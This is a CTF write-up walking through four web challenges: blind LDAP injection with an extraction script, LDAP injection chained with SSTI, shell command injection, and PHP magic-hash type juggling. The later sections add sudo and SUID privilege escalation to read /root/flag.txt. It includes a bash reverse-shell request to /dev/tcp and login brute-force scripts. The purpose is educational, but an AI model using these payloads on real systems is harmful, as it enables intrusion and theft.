team-logo
Published on

BreakTheSyntaxCTF 2025 - All web challenges

Authors
web-challs

Introduction

Writeup for all 4/4 challenges from Break the Syntax CTF 2025. More info about this ctf is here.

Table of contents

Lightweight

lightweight-1

The app welcomes us with a login screen:

web-challs

Along with a link to the app, we get the full source code. We can quickly deduce that the vulnerability is ldap injection:

from ldap3 import Server, Connection, ALL

# ... #

username = request.form['username']
password = request.form['password']

conn = Connection(server,
  user=f'cn=admin,dc=bts,dc=ctf',
  password=ADMIN_PASSWORD,
  auto_bind=True)

# ... #

conn.search(
  'ou=people,dc=bts,dc=ctf',
  f'(&(employeeType=active)(uid={username})(userPassword={password}))', # <- LDAP Injection is here
  attributes=['uid']
)

# ... #

return render_template('index.html', username=username)

The flag can be found in the description field.

base.ldif
dn: ou=people,dc=bts,dc=ctf
objectClass: organizationalUnit
ou: people

dn: uid=testuser,ou=people,dc=bts,dc=ctf
objectClass: inetOrgPerson
cn: Test User
sn: User
uid: testuser
userPassword: REDACTED
employeeType: active
entrypoint.sh
# ... #
echo "description: BtSCTF{fake_flag}" >> /base.ldif && cat /base.ldif
# ... #

Unfortunately, no data from ldap is passed to the index.html template. So the only way to get a flag is blind ldap injection and extract it character by character.

But before we get to that, let's analyze the syntax of an ldap query.

Ldap injection - syntax

In ldap, queries are created using reverse Polish notation, i.e. the logical condition is placed first, followed by actual conditions in parentheses. Hence, in the app we can see the ldap query like this: (&(employeeType=active)(uid=username)(userPassword=password)). Moreover, LDAP also defines special-purpose characters such as *, which replaces all other characters.

This knowledge is enough to extract the flag. So in username field we should put * and in password field: *)(description=<CHAR_1>* (where <CHAR_1> is every character we are testing). If the app responds with a 200 status code, it will mean the ldap query is successful, thus bypassing authentication and confirming that the searched character is valid. Otherwise, the server will respond with the code 401 - Invalid credentials. These two possible states are quite enough to determine which character appears in the flag and which does not. We continue analogously, adding the found characters to the query, as follows:

(&(employeeType=active)(uid=*)(userPassword=*)(description=<CHAR_1>*
(&(employeeType=active)(uid=*)(userPassword=*)(description=<CHAR_1><CHAR_2>*
(&(employeeType=active)(uid=*)(userPassword=*)(description=<CHAR_1><CHAR_2><CHAR_3>*

and so on.

The final script

To avoid carrying out this tedious task manually, I have prepared the following script, which will automatically retrieve the flag for us.

# Blind ldap injection

import string
import requests
import re
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

alphabet = string.ascii_lowercase + string.digits + "{_-}"

url = "https://lightweight.chal.bts.wh.edu.pl"
current_flag="BtSCTF{"

def send_req(password):
    data = {
        "username": "*",
        "password": password
    }
    return requests.post(url, data=data, verify=False)

def get_flag(current_flag):
    password = f"*)(description={current_flag}*"
    response = send_req(password)
    return 200 == response.status_code

for i in range(0,35):
    for char in alphabet:
        print("testing...", char)
        if get_flag(current_flag+char):
            current_flag += char
            print("FLAG:", current_flag)
            break

    if re.match('BtSCTF{.*}', current_flag):
        break

Flag:

BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333}

Lightweight-2

lightweight-2

In this task we again face LDAP Injection, but this time without access to the source code. After bypassing authentication with the payload username=*&password=*, we get a page where the html comment suggests that the flag is not inside LDAP data:

SPRT-1337 Removed all sensitive data from LDAP.

web-challs

SSTI

Analyzing the html code, we can see that the username parameter is reflected in the response. Given that the lightweight-1 challenge uses Flask with Jinja2 templating, it seems natural to test payloads that allow server side template injection in lightweight-2 challenge as well.

But how can we insert an ssti payload into the app's response so that the LDAP query succeeds?

For this we need to use another operator in LDAP - or (|). Let's look at the payload:

username=*)(|(uid={{7*7}})(uid=*)&password=*

Ldap will process the following query: (&(employeeType=active)(uid=*)(|(uid={{7*7}})(uid=*))(userPassword=*)) - {{7*7}} is a classic ssti payload. Because of or operator, only one of the conditions in (|(uid={{7*7}})(uid=*)) needs to be satisfied for the entire query to evaluate to true. As established earlier, (uid=*) matches any value of uid, so it is always true and that means the condition (uid={{7*7}}) doesn't need to be satisfied at all. In the response we will see *)(|(uid=49)(uid=*) demonstrating that the ssti payload is evaluated to 49. This confirms the presence of the ssti vulnerability.

web-challs

There is nothing left to do but send the payload which dumps all conifg variables:

*)(|(uid={{config}})(uid=*)

web-challs

And there we can spot the flag!

BtSCTF{_ld4p_1nj3ction_plus_sst1_3quals_fl4g}

lightweight-3

lightweight-3

The latest lightweight challenge looks similar to the previous two. We also have the ability to bypass authentication by sending * in username and password fields. However, this time the app has an additional feature, the ability to search for prism elements in a separate ldap base.

sh - error

It turns out that when we inject ' into the request, we get an sh error:

sh - error

This means one thing: user-supplied input is passed to shell without proper sanitization, resulting in a command injection vulnerability. As a consequence, we can execute arbitrary system commands - for example, launching a reverse shell to gain more convenient access to the system:

sh - error

Privilege escalation

Now, let's look for the flag on the server. We quickly hit the hint file, which says that the flag is located in /root/flag.txt:

prism@ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:/app$ ls -la
total 48
drwxr-xr-x 1 prism prism 4096 May  9 21:40 .
drwxr-xr-x 1 root  root  4096 May  9 21:32 ..
drwxrwxr-x 2 prism prism 4096 May  9 21:33 __pycache__
-rwxr-xr-x 1 prism prism  616 May  8 14:09 add-prism-schema.ldif
-rwxr-xr-x 1 prism prism 1906 May  8 14:09 app.py
-rwxr-xr-x 1 prism prism  911 May  8 14:09 base.ldif
-rwxr-xr-x 1 prism prism  386 May  8 14:27 entrypoint.sh
-rwxr-xr-x 1 prism prism   29 May  8 14:19 hint
-rw-rw-r-- 1 prism prism   72 May  9 21:40 index.html
-rwxr-xr-x 1 prism prism   44 May  8 14:09 requirements.txt
drwxr-xr-x 1 prism prism 4096 May  8 14:10 static
drwxr-xr-x 1 prism prism 4096 May  8 14:10 templates


prism@ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:/app$ cat hint
Flag is in /root/flag.txt :)

As a prism user, we do not have permissions to read files inside /root directory. After running the sudo -l command, we can see the following output:

prism@ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:/app$ sudo -l
Matching Defaults entries for prism on
    ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User prism may run the following commands on
        ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:
    (ALL) NOPASSWD: /usr/bin/highlight -i /home/prism/*

And this means the privesc is simple - running the command sudo /usr/bin/highlight -i /home/prism/../../root/flag.txt satisfies the condition seen above. So we can read the flag:

prism@ctf-lightweight-3-e49a49a92210e180-74dd8c8665-tbwmn:/app$ sudo /usr/bin/highlight -i /home/prism/../../../root/flag.txt
<bin/highlight -i /home/prism/../../../root/flag.txt
<!DOCTYPE html>
<html>
<head>
<meta charset="ISO-8859-1">
<title>/home/prism/../../../root/flag.txt</title>
<link rel="stylesheet" type="text/css" href="highlight.css">
</head>
<body class="hl">
<pre class="hl">BtSCTF{_gl4d_t0_s33_y0u_g0t_output_out_of_th3_comm4nd_1nj3ction}
</pre>
</body>
</html>

Flag:

BtSCTF{_gl4d_t0_s33_y0u_g0t_output_out_of_th3_comm4nd_1nj3ction}

Minicms

minicms

Key observations

  • /users page contains a list of all users' emails,
  • in the job description the word compared is in bold,
  • after sending a query like the one below, we can see the php error so we know that the password is hashed with the sha256 function:
php error

Putting all this together, we can assume that the password hash is being checked using == so type juggling is possible if any user's password hash is in the form of 0e12345....

Type juggling - magic hash

Let's take the magic hash for sha256 from this page, for example:

TyNOQHUS:0e66298694359207596086558843543959518835691168370379069085300385

And test all users using this script:

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

emails = [
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]",
    "[email protected]"
]

MAGIC_HASH_VALUE="TyNOQHUS"
for email in emails:
    url = "https://minicms-57ef5a7e31054704.chal.bts.wh.edu.pl:443/auth/login"
    json={"email": email, "password": MAGIC_HASH_VALUE}
    r = requests.post(url, json=json, verify=False)
    print(email, r.text)

The password is valid for the user [email protected] and we get a token.

$ python3 test-users.py

...[snip]...
[email protected] {"error":"Invalid email or password."}
[email protected] {"error":"Invalid email or password."}
[email protected] {"error":"Invalid email or password."}
[email protected] {"message":"Login successful","token":"120349812450928137590234857230945823745"}
[email protected] {"error":"Invalid email or password."}
[email protected] {"error":"Invalid email or password."}
...[snip]...
token

Webshell

With the token, we can execute system commands by sending a request: POST /files?token=<TOKEN>&cmd=<CMD>

token

For convenience, we can send the classic revshell:

POST /files?token=120349812450928137590234857230945823745&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/[IP]/[PORT]+0>%261'

Privilege escalation

The flag is not visible in any obvious place. Is it again located in /root?

On the server in /home/minicms we can find a binary (file_JeqsmJ6xwH.bin) that has suid set:

minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ cd /home/minicms
cd /home/minicms

minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ ls -la
ls -la
total 448
drwxr-xr-x 1 minicms minicms  4096 May  8 17:57 .
drwxr-xr-x 1 root    root     4096 May  8 17:57 ..
-rw-r--r-- 1 minicms minicms   220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 minicms minicms  3526 Mar 27  2022 .bashrc
-rw-r--r-- 1 minicms minicms   807 Mar 27  2022 .profile
-rw-r--r-- 1 root    root       12 May  8 17:57 entrypoint.sh
...
-rw-r--r-- 1 root    root      100 May  8 17:57 file_HB0ypcaxLO.bin
-rw-r--r-- 1 root    root      100 May  8 17:57 file_HMLk4I1ZhD.bin
-rw-r--r-- 1 root    root      100 May  8 17:57 file_J8Zwkwax94.bin
-rwsr-xr-x 1 root    root    16664 May  8 17:57 file_JeqsmJ6xwH.bin
-rw-r--r-- 1 root    root      100 May  8 17:57 file_KfwDrIsawP.bin
-rw-r--r-- 1 root    root      100 May  8 17:57 file_LB0FSGfmVT.bin
-rw-r--r-- 1 root    root      100 May  8 17:57 file_LOqNsOzJyq.bin
-rw-r--r-- 1 root    root      100 May  8 17:57 file_MfPwA8oLY1.bin
-rw-r--r-- 1 root    root      100 May  8 17:57 file_N8cdCCtzaH.bin
...
-rw-r--r-- 1 root    root       17 May  8 17:57 testscript.sh


minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ ls -la file_JeqsmJ6xwH.bin
-rwsr-xr-x 1 root root 16664 May  8 17:57 file_JeqsmJ6xwH.bin


minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ file file_JeqsmJ6xwH.bin
file_JeqsmJ6xwH.bin: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82958e9d7550081f618461e3066930eaa4e993a9, for GNU/Linux 3.2.0, not stripped

After running it with any parameter, we get an sh error:

minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ ./file_JeqsmJ6xwH.bin abcd
sh: 1: abcd: not found

To be able to execute commands as root and get the flag, it is enough to run the following command:

minicms@ctf-minicms-57ef5a7e31054704-9967df8f6-n7fhg:~$ ./file_JeqsmJ6xwH.bin 'cat /root/flag.txt'
BtSCTF{juggl3_php_qu173_4444w3s0m3}